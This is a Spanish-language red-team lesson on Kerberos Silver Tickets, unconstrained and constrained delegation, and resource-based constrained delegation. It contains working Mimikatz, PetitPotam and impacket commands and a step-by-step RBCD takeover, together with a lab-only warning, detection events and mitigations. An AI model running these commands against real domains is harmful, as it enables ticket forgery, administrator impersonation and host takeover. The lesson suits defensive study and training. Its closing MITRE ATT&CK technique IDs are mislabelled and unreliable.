Silver Ticket, Unconstrained y Constrained Delegation: Kerberos avanzado

En la lección anterior viste cómo un atacante con el hash de krbtgt puede falsificar TGTs y convertirse en cualquier usuario del dominio (Golden Ticket). Esta lección cubre tres técnicas hermanas, menos ruidosas, más específicas y mucho más usadas por operadores sofisticados en red team real: el Silver Ticket, la Unconstrained Delegation y la Constrained Delegation con el combo S4U2Self + S4U2Proxy.

Las tres explotan el mismo principio: Kerberos confía en firmas. Si consigues la clave correcta, firmas tickets que el sistema objetivo acepta como auténticos. La diferencia está en qué firma y qué ticket. El Silver Ticket firma un TGS para un servicio específico sin pasar por el DC. La Unconstrained Delegation deja que un servicio pida impersonación de cualquier usuario que se autentique contra él. La Constrained Delegation lo limita a servicios concretos, pero mal configurada permite escalar lateralmente sin credenciales del usuario víctima.

Son las técnicas que distinguen a un red team con experiencia de un operador que solo sabe el flujo clásico. Y, en 2026, siguen rindiendo en entornos corporativos sorprendentemente modernos porque la mitigación requiere trabajo de arquitectura, no solo un parche.

Practica solo en laboratorios y dominios propios. Estas técnicas sobre AD ajeno sin autorización son delito.

Silver Ticket: TGS forjado#

El DC emite dos tipos de tickets: TGT (firmado por krbtgt) y TGS (firmado por la cuenta de máquina del servicio objetivo). Un Golden Ticket forja TGTs; un Silver Ticket forja TGS directamente.

¿Para qué sirve? Para acceder a un servicio específico (CIFS, HTTP, MSSQL, LDAP, HOST) sin pasar por el DC. Ventajas enormes para OpSec:

• El DC nunca ve la petición.
• No hace falta el hash de krbtgt.
• Mitigaciones como Microsoft Defender for Identity (que vigila el DC) no lo ven.

Requisito: hash NTLM de la cuenta de máquina del servicio objetivo (por ejemplo FILE01$). Si consigues ese hash —vía DCSync parcial, dumpeo local de SAM si llegas al equipo, Kerberoasting sobre cuentas de máquina con SPN raros— puedes forjar TGS para servicios de esa máquina.

Ejecutar con Mimikatz#

kerberos::golden /user:cualquiera /domain:lab.local \
  /sid:S-1-5-21-... \
  /target:file01.lab.local \
  /service:cifs \
  /rc4:<NTLM-de-FILE01$> \
  /ptt

Con /ptt el TGS entra en memoria. Ya puedes montar shares, listar, leer archivos:

net use \\file01.lab.local\C$

Combos de servicio#

Según el /service que pongas, accedes a distintos subsistemas del equipo objetivo:

• cifs → shares SMB.
• host → PsExec y gestión remota.
• http → WMI sobre WinRM.
• rpcss → DCOM.
• ldap → consultas LDAP contra ese host (si es DC).
• mssql → MSSQL server.
• wsman → PowerShell Remoting.

Un operador con el hash de la cuenta de máquina del DC puede forjar un TGS ldap y hacer DCSync parcial a través de esa autenticación forjada. Es lo más cerca que se llega del compromiso total sin tener krbtgt.

Unconstrained Delegation#

Flag en una cuenta de equipo o usuario: TrustedForDelegation. Significa que cuando un usuario se autentica con Kerberos contra ese servicio, el servicio recibe el TGT del usuario en lugar de solo un TGS. El servicio puede entonces impersonar al usuario frente a cualquier otro servicio del dominio.

Se diseñó para servicios tipo proxy que necesitan hablar con otros sistemas en nombre del usuario (una web que consulta BD). En la práctica, cualquier cuenta con Unconstrained Delegation es una mina:

• Si engañas o fuerzas a un admin a autenticarse contra ese servicio (o si cae de forma natural porque hace una visita rutinaria), su TGT queda en memoria del servicio.
• Dumpeas memoria del servicio comprometido (mimikatz sekurlsa::tickets /export).
• Cargas ese TGT en tu sesión y actúas como el admin.

Encontrar cuentas con Unconstrained#

Con PowerView:

Get-NetComputer -Unconstrained
Get-NetUser -TrustedForDelegation

Con BloodHound: query predefinida «Find Computers with Unconstrained Delegation».

Forzar que un admin se autentique#

Técnica clásica: PrinterBug (MS-RPRN) o PetitPotam (MS-EFSR) fuerzan a un equipo (incluido un DC) a autenticarse contra una máquina que controlas:

impacket-PetitPotam -u maria -p 'Password!' \
  attacker-host dc01.lab.local

El DC se conecta a tu máquina autenticándose con su cuenta de máquina. Si tu máquina tiene Unconstrained Delegation activa, el TGT del DC queda en tu memoria. Golden Ticket by proxy.

Constrained Delegation (S4U2Self + S4U2Proxy)#

Versión «segura» de Unconstrained: en vez de confiar cualquier servicio, permites delegar solo a servicios específicos. El mecanismo técnico es Service for User (S4U):

• S4U2Self: una cuenta con delegación constrained puede pedir un TGS para sí misma impersonando a cualquier usuario (sin su password).
• S4U2Proxy: con ese TGS impersonando, puede pedir TGS a los servicios configurados como delegable-to.

Resultado práctico: si controlas una cuenta con constrained delegation a cifs/file01, puedes actuar como cualquier usuario del dominio sobre el CIFS de file01. Incluso como administrador del dominio.

Ejecutarlo con Impacket#

# Como svc_web (cuenta con delegación a cifs/file01)
impacket-getST -spn cifs/file01.lab.local \
  -impersonate administrator \
  LAB/svc_web:'Password!'

export KRB5CCNAME=administrator.ccache
impacket-smbclient -k -no-pass file01.lab.local

Entras al CIFS de file01 como administrator. El password de administrator no lo necesitas en ningún momento.

Resource-Based Constrained Delegation (RBCD)#

Variante aún más sutil: en RBCD, la cuenta objetivo decide qué cuentas pueden delegar hacia ella (msDS-AllowedToActOnBehalfOfOtherIdentity). Si tienes WriteDACL o WriteProperty sobre esa cuenta, añades una cuenta controlada por ti como delegadora y haces S4U para impersonar.

Ruta clásica: tienes un usuario con GenericWrite sobre un equipo. Creas una cuenta de máquina (cualquier usuario puede crear hasta 10 por defecto). Añades esa cuenta como RBCD sobre el equipo. Haces S4U2Self + S4U2Proxy. Entras al equipo como admin. Se hizo famoso con el combo PrintNightmare + RBCD + PetitPotam entre 2021 y 2022.

impacket-rbcd -action write -delegate-from attacker_computer \
  -delegate-to target_computer \
  'LAB/maria:Password!'

Detección#

• Event 4738 (user account changed): msDS-AllowedToDelegateTo o TrustedForDelegation modificados.
• Event 4624/4769 con delegation flags y usuario que se autentica contra cuenta Unconstrained no autorizada.
• ATP y Defender for Identity: reglas específicas para PetitPotam y RBCD.
• Audit de cuentas con delegation: revisar periódicamente con BloodHound.

Mitigación#

• Eliminar Unconstrained Delegation siempre que sea posible. Si un servicio la requiere, moverlo a constrained o RBCD.
• Protected Users group: miembros no permiten delegation ni cachés de credenciales.
• Account is sensitive and cannot be delegated flag en cuentas de admin.
• Parcheo PrinterBug y PetitPotam: desactivar spooler service en DCs, deshabilitar EFSR donde no se use.
• Monitorizar msDS-AllowedToActOnBehalfOfOtherIdentity por cambios no autorizados.
• Revisar permisos de creación de cuentas de máquina: el default ms-DS-MachineAccountQuota=10 debería ser 0 en entornos modernos.

Detección y audit#

La detección de estas técnicas requiere mirar en distintos sitios:

Reglas Sigma públicas cubren los cuatro patrones. En entornos corporativos con SIEM, la combinación con ATP/Defender for Identity y EDR en endpoints da buena visibilidad. La realidad: muchas empresas no tienen esas detecciones activas, y hasta que no reportan un incidente nadie mira.

Walkthrough: RBCD takeover#

Para fijar el patrón de RBCD, el flujo típico que usa el laboratorio red-hat:

Paso 1 — tienes GenericWrite sobre WORKSTATION-01. BloodHound lo detecta en query predefinida.

Paso 2 — crear una cuenta de máquina controlada:

impacket-addcomputer -computer-name 'attacker$' \
  -computer-pass 'P@ssw0rd!' \
  'LAB/maria:MariaPass123'

Paso 3 — añadir RBCD:

impacket-rbcd -action write \
  -delegate-from 'attacker$' \
  -delegate-to 'WORKSTATION-01' \
  'LAB/maria:MariaPass123'

Paso 4 — S4U2Self + S4U2Proxy:

impacket-getST -spn cifs/WORKSTATION-01.lab.local \
  -impersonate administrator \
  'LAB/attacker$:P@ssw0rd!'

Paso 5 — usar el ticket:

export KRB5CCNAME=administrator.ccache
impacket-smbclient -k -no-pass WORKSTATION-01.lab.local

Entras como admin local sin tocar su password. Tiempo total: 2 minutos. Mitigación: msDS-MachineAccountQuota = 0 o monitorización del atributo RBCD.

Errores comunes#

• Dejar Unconstrained en equipos como «preguntaba el software viejo».
• Admins sin la flag «cannot be delegated».
• PrinterBug/PetitPotam sin parchear en DCs.
• msDS-MachineAccountQuota en 10 (usuarios normales pueden crear equipos).
• Rutas RBCD no auditadas con BloodHound tras cambios de arquitectura.

Preguntas frecuentes#

¿Silver Ticket pasa Defender for Identity?#

Mejor que Golden: como no toca el DC, Defender for Identity no puede verlo directamente. Puede detectarlo si el servicio objetivo está loggeado por otros medios (sensores en el equipo), pero el patrón de detección es más difícil.

¿Un servicio con Unconstrained se puede comprometer siempre?#

No siempre, pero suele caer en pentest real. La combinación de PetitPotam + Unconstrained lleva dando resultados desde 2021 contra DCs que no están parcheados o endurecidos.

¿RBCD es más grave que delegation clásica?#

Igual de grave, más silenciosa. Como el consentimiento está en el equipo objetivo, no hay un «operador» configurándolo manualmente; pasa como noise de administración.

¿Diamond Ticket aplica aquí?#

Diamond modifica un TGS existente para evitar firmas inconsistentes. Aplica más al Silver Ticket que al Golden en modo detección avanzada.

¿Dónde practico?#

En el laboratorio red-hat de whoami-labs hay un dominio con cuentas de servicio con unconstrained delegation y constrained delegation. Practicas el flujo PetitPotam + unconstrained para el DC, S4U2Proxy constrained a CIFS, y RBCD con un usuario que tiene GenericWrite.

¿Por qué msDS-MachineAccountQuota por defecto es 10?#

Herencia de los noventa. Cuando Windows 2000 se diseñó, los administradores querían que los usuarios pudieran unir sus propios equipos al dominio sin pedir permiso cada vez. En redes pequeñas y de confianza tenía sentido. En entornos modernos es un riesgo: cualquier usuario autenticado puede crear hasta 10 cuentas de máquina, lo que abre RBCD, Resource-Based Constrained Delegation, y crear máquinas con SPNs útiles para Kerberoasting. En entornos endurecidos se pone a 0 y solo cuentas específicas pueden crear equipos.

¿Hay Kerberoasting contra cuentas de máquina?#

Sí, aunque los hashes de cuentas de máquina son típicamente largos y aleatorios, por lo que son casi imposibles de crackear por fuerza bruta. El valor está en los SPN raros: cuentas de servicio humanas con SPN registrados contra cuentas de máquina (anti-pattern conocido como «SPN-cross») pueden ser vulnerables.

¿Credential Guard protege contra todo esto?#

Credential Guard aísla LSASS y previene que mimikatz dumpee hashes y tickets. Mitiga el robo de TGT en Unconstrained desde un equipo con Credential Guard. No afecta a Silver (porque no toca el DC) ni a RBCD si el flujo se hace desde una máquina del atacante. Es protección en profundidad, no bala de plata.

Resumen#

• Silver Ticket: TGS forjado offline con el hash NTLM de la cuenta de máquina del servicio. No toca el DC. Acceso a un servicio específico.
• Unconstrained Delegation: TGTs de usuarios que se autentican quedan en memoria del servicio. Combo con PetitPotam o PrinterBug fuerza al DC a autenticarse.
• Constrained Delegation (S4U2Self + S4U2Proxy): la cuenta con delegation impersona a cualquier usuario frente a servicios específicos configurados.
• RBCD: variante con consentimiento en el objetivo, explotable con WriteDACL + creación de cuenta de máquina.
• Mitigación: eliminar unconstrained, Protected Users, flag «cannot be delegated», parchear PetitPotam, auditar msDS-AllowedTo*.

Fuentes y lecturas recomendadas#

• ADSecurity: Kerberos Silver Tickets
• Harmj0y: A Case Study in Wagging the Dog
• Microsoft: Securing Delegation
• MITRE ATT&CK T1558.003 (Silver) / T1550.003 (Golden)